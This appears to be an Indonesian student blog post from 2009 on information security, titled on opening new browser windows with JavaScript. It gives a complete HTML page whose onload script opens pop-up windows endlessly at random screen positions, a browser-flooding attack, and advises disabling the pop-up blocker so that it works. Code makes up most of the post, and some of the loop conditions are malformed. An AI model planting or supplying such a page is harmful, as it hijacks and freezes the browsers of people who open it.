jump to navigation

Membuka “window browser baru” dengan JavaScript Mei 4, 2009

Posted by Hoesnie Moebarok in Keamanan Informasi, Tugas.
Tags: , ,
trackback
Browser Attack

Browser Attack

JavaScript bisa digunakan untuk membuka halaman browser baru.  Metoda yang digunakan adalah window.open(), secara umum sintak yang digunakan dalam metoda ini adalah :

bukaBrowser = window.open( URL, name [ , features [, replace ] ] )

dimana  :

bukaBrowser = variable yang menyimpan return value, dimana merupakan referensi untuk membuka window baru dari browser
URL = alamat halaman page
name = nama window browser
features = atribut dari window browser (optional untuk ditampilkan atau tidak)
replace = sebuah parameter boolean, jika bernilai benar, maka halaman baru akan menggantikan halaman yang sedang tampil

Berikut ini adalah fungsi sederhana dari script JavaScript untuk membuka window browser baru:

function bukaBrowser()
{
bb=window.open(“_blank”,””,”alwaysRaised”);//alwaysRaised : untuk membuat window browser selalu on Top
bb.resizeTo(w,h); //untuk menentukan ukuran window browser yang baru
bb.moveTo(l,t); // untuk menentukan lokasi window browser baru diletakan pada layar monitor dengan satuan pixel
}

Agar kita dapat membuka window browser baru sebanyak-banyaknya , maka salah satu caranya adalah menggunakan looping “for”, dan tambahkan pada fungsi di atas;

function bukaBrowser()
{
/* n merupakan batas berapa banyak window baru yang mau kita buka
untuk perulangan yang tidak terbatas bisa mengguanakan for(;;) atau for(x=0;x=x+1;x++)
*/
for (x=0;x=n;x++){
var l=randomnumber=Math.floor(Math.random()*1000);// untuk mendapatkan angka acak dari 0 sampai 1000
var t=randomnumber=Math.floor(Math.random()*800); // untuk mendapatkan angka acak dari 0 sampai 1000
bb=window.open(“_blank”,””,”alwaysRaised”);
bb.resizeTo(w,h);
bb.moveTo(l,t);
}
}

untuk memanggil fungsi di atasbisa menggunakan metoda onLoad=”nama fungsi”, contohnya sebagai berikut ini:

<body onLoad = “bukaBrowser()”>
</body>

Untuk menjalankan script di atas, maka harus dilakukan beberapa penyesuaian pada browser :
a. browser harus support JavaScript
b. non aktifkan bloker pop-up window

Berikut ini adalah script lengkap dari fungsi diatas :

<html>
<head>
<title>Buka Browser Baru</title>
<script>
<!–
function bukaBrowser(){
for (x=0;x=x+1;x++){
var L=randomnumber=Math.floor(Math.random()*1000);
var T=randomnumber=Math.floor(Math.random()*800);
bb=window.open(“_blank”,””,”scrollbars”,”alwaysRaised”);
bb.resizeTo(100,200);
bb.moveTo(L,T);
}
}

//–>
</script>
</head>
<body onload=”bukaBrowser()”>
</body>
</html>

Iklan

Komentar»

No comments yet — be the first.

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout /  Ubah )

Foto Google+

You are commenting using your Google+ account. Logout /  Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout /  Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout /  Ubah )

Connecting to %s

%d blogger menyukai ini: